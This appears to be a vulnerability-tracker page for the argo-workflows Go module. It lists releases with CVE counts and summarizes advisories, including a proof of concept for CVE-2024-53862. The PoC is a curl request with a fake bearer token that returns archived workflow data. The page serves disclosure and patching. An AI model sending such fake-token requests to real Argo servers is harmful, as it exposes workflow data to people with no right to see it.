github.com/argoproj/argo-workflows/v3

Version	Released
`v3.7.18` patch 4 CVEs	Aug 14, 2026
`v3.7.17` patch 4 CVEs	Jul 22, 2026
`v3.7.16` patch 4 CVEs	Jul 07, 2026
`v3.7.15` patch 4 CVEs	Jun 10, 2026
`v3.7.14` patch 5 CVEs	Apr 23, 2026
`v3.7.13` patch 7 CVEs	Apr 02, 2026
`v3.7.12` patch 7 CVEs	Mar 18, 2026
`v3.7.11` patch 7 CVEs	Mar 11, 2026
`v3.7.10` patch 9 CVEs	Feb 16, 2026
`v3.7.9` patch 9 CVEs	Jan 28, 2026
`v3.7.8` patch 9 CVEs	Jan 21, 2026
`v3.7.7` patch 10 CVEs	Jan 08, 2026
`v3.7.6` patch 10 CVEs	Dec 09, 2025
`v3.7.5` patch 10 CVEs	Dec 08, 2025
`v3.6.13` patch 11 CVEs	Nov 13, 2025
`v3.7.4` patch 11 CVEs	Nov 13, 2025
`v3.7.3` patch 11 CVEs	Oct 14, 2025
`v3.7.2` patch 13 CVEs	Sep 11, 2025
`v3.7.1` patch 13 CVEs	Aug 12, 2025
`v3.7.0` minor 13 CVEs	Jul 15, 2025
`v3.7.0-rc4` pre 9 CVEs	Jul 15, 2025
`v3.7.0-rc3` pre 9 CVEs	Jun 25, 2025
`v3.6.10` patch 13 CVEs	Jun 04, 2025
`v3.7.0-rc1` pre 9 CVEs	Jun 04, 2025
`v3.6.9` patch 13 CVEs	Jun 03, 2025
`v3.6.8` patch 13 CVEs	May 28, 2025
`v3.6.3` patch 12 CVEs	Feb 07, 2025
`v3.6.1` minor 13 CVEs	Dec 01, 2024
`v3.6.0-rc2` pre 12 CVEs	Oct 02, 2024
`v3.4.17` patch 12 CVEs	May 13, 2024
`v3.5.6` minor 12 CVEs	Apr 19, 2024
`v3.4.14` patch 12 CVEs	Nov 27, 2023
`v3.4.12` patch 12 CVEs	Oct 20, 2023
`v3.4.5` patch 12 CVEs	Feb 07, 2023
`v3.4.1` minor 12 CVEs	Oct 01, 2022
`v3.4.0-rc4` pre 12 CVEs	Sep 10, 2022
`v3.3.5` patch 12 CVEs	May 03, 2022
`v3.3.4` patch 13 CVEs	Apr 29, 2022
`v3.3.1` minor 13 CVEs	Mar 18, 2022
`v3.3.0-rc6` pre 12 CVEs	Feb 21, 2022
`v3.3.0-rc5` pre 12 CVEs	Feb 18, 2022
`v3.1.15` patch 13 CVEs	Nov 17, 2021
`v3.1.14` patch 13 CVEs	Oct 20, 2021
`v3.1.12` patch 13 CVEs	Sep 16, 2021
`v3.1.11` patch 13 CVEs	Sep 14, 2021
`v3.1.10` patch 13 CVEs	Sep 10, 2021
`v3.1.9` patch 13 CVEs	Sep 03, 2021
`v3.2.0-rc2` pre 13 CVEs	Sep 01, 2021
`v3.0.10` patch 13 CVEs	Aug 18, 2021
`v3.1.3` minor 16 CVEs	Jul 27, 2021

v3.7.18 patch

4 CVEs

Aug 14, 2026

v3.7.17 patch

4 CVEs

Jul 22, 2026

v3.7.16 patch

4 CVEs

Jul 07, 2026

v3.7.15 patch

4 CVEs

Jun 10, 2026

v3.7.14 patch

5 CVEs

Apr 23, 2026

v3.7.13 patch

7 CVEs

Apr 02, 2026

v3.7.12 patch

7 CVEs

Mar 18, 2026

v3.7.11 patch

7 CVEs

Mar 11, 2026

v3.7.10 patch

9 CVEs

Feb 16, 2026

v3.7.9 patch

9 CVEs

Jan 28, 2026

v3.7.8 patch

9 CVEs

Jan 21, 2026

v3.7.7 patch

10 CVEs

Jan 08, 2026

v3.7.6 patch

10 CVEs

Dec 09, 2025

v3.7.5 patch

10 CVEs

Dec 08, 2025

v3.6.13 patch

11 CVEs

Nov 13, 2025

v3.7.4 patch

11 CVEs

Nov 13, 2025

v3.7.3 patch

11 CVEs

Oct 14, 2025

v3.7.2 patch

13 CVEs

Sep 11, 2025

v3.7.1 patch

13 CVEs

Aug 12, 2025

v3.7.0 minor

13 CVEs

Jul 15, 2025

v3.7.0-rc4 pre

9 CVEs

Jul 15, 2025

v3.7.0-rc3 pre

9 CVEs

Jun 25, 2025

v3.6.10 patch

13 CVEs

Jun 04, 2025

v3.7.0-rc1 pre

9 CVEs

Jun 04, 2025

v3.6.9 patch

13 CVEs

Jun 03, 2025

v3.6.8 patch

13 CVEs

May 28, 2025

v3.6.3 patch

12 CVEs

Feb 07, 2025

v3.6.1 minor

13 CVEs

CVE-2026-54526 GO-2026-6223 BIT-argo-workflows-2026-54526 GHSA-48p8-g2fx-3wwm Aug 18, 2026

Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892) in github.com/argoproj/argo-workflows

Fixed in


          3.7.15

References

Updated Aug 18, 2026 · Source: OSV.dev

CVE-2026-42297 GO-2026-5751 BIT-argo-workflows-2026-42297 GHSA-xchc-cqwg-g76q Jun 25, 2026

Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-42183 GO-2026-5527 BIT-argo-workflows-2026-42183 GHSA-p4gq-3vxj-f4jq Jun 25, 2026

Argo Affected by SSO RBAC Delegation Nil Pointer Dereference DoS (gatekeeper.go) in github.com/argoproj/argo-workflows

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-42294 GO-2026-5462 BIT-argo-workflows-2026-42294 GHSA-jcc8-g2q4-9fxq Jun 25, 2026

Argo Vulnerable to Unauthenticated Memory Exhaustion (DoS) in Webhook Interceptor in github.com/argoproj/argo-workflows

Fixed in


          3.7.14

References

Updated Jun 25, 2026 · Source: OSV.dev

CVE-2026-42295 GO-2026-5235 BIT-argo-workflows-2026-42295 GHSA-7vf8-2cr6-54mf Jun 25, 2026

Argo vulnerable to exposure of artifact repository credentials in github.com/argoproj/argo-workflows

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-42296 GO-2026-5072 BIT-argo-workflows-2026-42296 GHSA-3775-99mw-8rp4 Jun 25, 2026

Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure in github.com/argoproj/argo-workflows

Fixed in


          3.7.14

References

Updated Jun 25, 2026 · Source: OSV.dev

CVE-2026-31892 GO-2026-4681 BIT-argo-workflows-2026-31892 GHSA-3wf5-g532-rcrr Mar 12, 2026

Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode in github.com/argoproj/argo-workflows

Fixed in


          3.7.11

References

Updated Mar 23, 2026 · Source: OSV.dev

CVE-2026-28229 GO-2026-4678 BIT-argo-workflows-2026-28229 GHSA-56px-hm34-xqj5 Mar 12, 2026

Unauthorized access to Argo Workflows Template in github.com/argoproj/argo-workflows

Fixed in


          3.7.11

References

Updated Mar 23, 2026 · Source: OSV.dev

CVE-2026-23960 GO-2026-4350 BIT-argo-workflows-2026-23960 GHSA-cv78-6m8q-ph82 Feb 02, 2026

Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows

Fixed in


          3.6.17


          3.7.8

References

Updated Feb 04, 2026 · Source: OSV.dev

CVE-2025-66626 GO-2025-4223 BIT-argo-workflows-2025-66626 GHSA-xrqc-7xgx-c9vh Dec 15, 2025

RCE via ZipSlip and symbolic links in argoproj/argo-workflows in github.com/argoproj/argo-workflows

Fixed in


          3.6.14


          3.7.5

References

Updated Feb 04, 2026 · Source: OSV.dev

CVE-2025-62157 GO-2025-4024 BIT-argo-workflows-2025-62157 GHSA-c2hv-4pfj-mm2r Nov 05, 2025

Argo Workflow may expose artifact repository credentials in github.com/argoproj/argo-workflows

Fixed in


          3.6.12


          3.7.3

References

Updated Feb 04, 2026 · Source: OSV.dev

CVE-2025-62156 GO-2025-4023 BIT-argo-workflows-2025-62156 GHSA-p84v-gxvw-73pf Nov 05, 2025

Argo Workflow has a Zipslip Vulnerability in github.com/argoproj/argo-workflows

Fixed in


          3.6.12


          3.7.3

References

Updated Feb 04, 2026 · Source: OSV.dev

CVE-2024-53862 GHSA-h36c-m3rf-34h9 BIT-argo-workflows-2024-53862 GO-2024-3303 Dec 02, 2024

Access to Archived Argo Workflows with Fake Token in `client` mode

Medium

Network Low None None

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

  config: |
    persistence:
      archive: true
      postgresql:
        database: argoworkflows
        host: db-host
        passwordSecret:
          key: postgresPassword
          name: argo-wf-postgres-credentials
        port: 5432
        tableName: argo_workflows
        userNameSecret:
          key: username
          name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
    "metadata": {
        "name": "hello-world-7tv5g",
        "generateName": "hello-world-",
        "namespace": "argo",
        "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
        "resourceVersion": "9982",
        "generation": 3,
        "creationTimestamp": "2024-08-13T23:59:20Z",
        "labels": {
            "workflows.argoproj.io/archive-strategy": "false",
            "workflows.argoproj.io/completed": "true",
            "workflows.argoproj.io/phase": "Succeeded",
            "workflows.argoproj.io/workflow-archiving-status": "Persisted"
        },
        "annotations": {
            "workflows.argoproj.io/description": "This is a simple hello world example.\n",
            "workflows.argoproj.io/pod-name-format": "v2"
        },
        "managedFields": [
            {
                "manager": "argo",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:20Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            ".": {},
                            "f:workflows.argoproj.io/description": {}
                        },
                        "f:generateName": {},
                        "f:labels": {
                            ".": {},
                            "f:workflows.argoproj.io/archive-strategy": {}
                        }
                    },
                    "f:spec": {}
                }
            },
            {
                "manager": "workflow-controller",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:30Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            "f:workflows.argoproj.io/pod-name-format": {}
                        },
                        "f:labels": {
                            "f:workflows.argoproj.io/completed": {},
                            "f:workflows.argoproj.io/phase": {},
                            "f:workflows.argoproj.io/workflow-archiving-status": {}
                        }
                    },
                    "f:status": {}
                }
            }
        ]
    },
    "spec": {
        "templates": [
            {
                "name": "hello-world",
                "inputs": {},
                "outputs": {},
                "metadata": {},
                "container": {
                    "name": "",
                    "image": "busybox",
                    "command": [
                        "echo"
                    ],
                    "args": [
                        "hello world"
                    ],
                    "resources": {}
                }
            }
        ],
        "entrypoint": "hello-world",
        "arguments": {},
        "serviceAccountName": "argo-workflow"
    },
    "status": {
        "phase": "Succeeded",
        "startedAt": "2024-08-13T23:59:20Z",
        "finishedAt": "2024-08-13T23:59:30Z",
        "progress": "1/1",
        "nodes": {
            "hello-world-7tv5g": {
                "id": "hello-world-7tv5g",
                "name": "hello-world-7tv5g",
                "displayName": "hello-world-7tv5g",
                "type": "Pod",
                "templateName": "hello-world",
                "templateScope": "local/hello-world-7tv5g",
                "phase": "Succeeded",
                "startedAt": "2024-08-13T23:59:20Z",
                "finishedAt": "2024-08-13T23:59:24Z",
                "progress": "1/1",
                "resourcesDuration": {
                    "cpu": 0,
                    "memory": 3
                },
                "outputs": {
                    "exitCode": "0"
                },
                "hostNodeName": "kind-control-plane"
            }
        },
        "conditions": [
            {
                "type": "PodRunning",
                "status": "False"
            },
            {
                "type": "Completed",
                "status": "True"
            }
        ],
        "resourcesDuration": {
            "cpu": 0,
            "memory": 3
        },
        "artifactRepositoryRef": {
            "default": true,
            "artifactRepository": {}
        },
        "artifactGCStatus": {
            "notSpecified": true
        },
        "taskResultsCompletionStatus": {
            "hello-world-7tv5g": true
        }
    }
}%

Impact

Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.

Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.

[^1]: sso tokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the client tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for client tokens via the k8s API server.

Fixed in


          3.5.13


          3.6.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 01, 2024

v3.6.0-rc2 pre

12 CVEs

Oct 02, 2024

v3.4.17 patch

12 CVEs

May 13, 2024

v3.5.6 minor

12 CVEs

Apr 19, 2024

v3.4.14 patch

12 CVEs

Nov 27, 2023

v3.4.12 patch

12 CVEs

Oct 20, 2023

v3.4.5 patch

12 CVEs

Feb 07, 2023

v3.4.1 minor

12 CVEs

Oct 01, 2022

v3.4.0-rc4 pre

12 CVEs

Sep 10, 2022

v3.3.5 patch

12 CVEs

May 03, 2022

v3.3.4 patch

13 CVEs

Apr 29, 2022

v3.3.1 minor

13 CVEs

Mar 18, 2022

v3.3.0-rc6 pre

12 CVEs

Feb 21, 2022

v3.3.0-rc5 pre

12 CVEs

Feb 18, 2022

v3.1.15 patch

13 CVEs

Nov 17, 2021

v3.1.14 patch

13 CVEs

Oct 20, 2021

v3.1.12 patch

13 CVEs

Sep 16, 2021

v3.1.11 patch

13 CVEs

Sep 14, 2021

v3.1.10 patch

13 CVEs

Sep 10, 2021

v3.1.9 patch

13 CVEs

Sep 03, 2021

v3.2.0-rc2 pre

13 CVEs

Sep 01, 2021

v3.0.10 patch

13 CVEs

Aug 18, 2021

v3.1.3 minor

16 CVEs

Jul 27, 2021

Activity

Reach

Details

Summary

Details

PoC

Configuration

Reproduction

Impact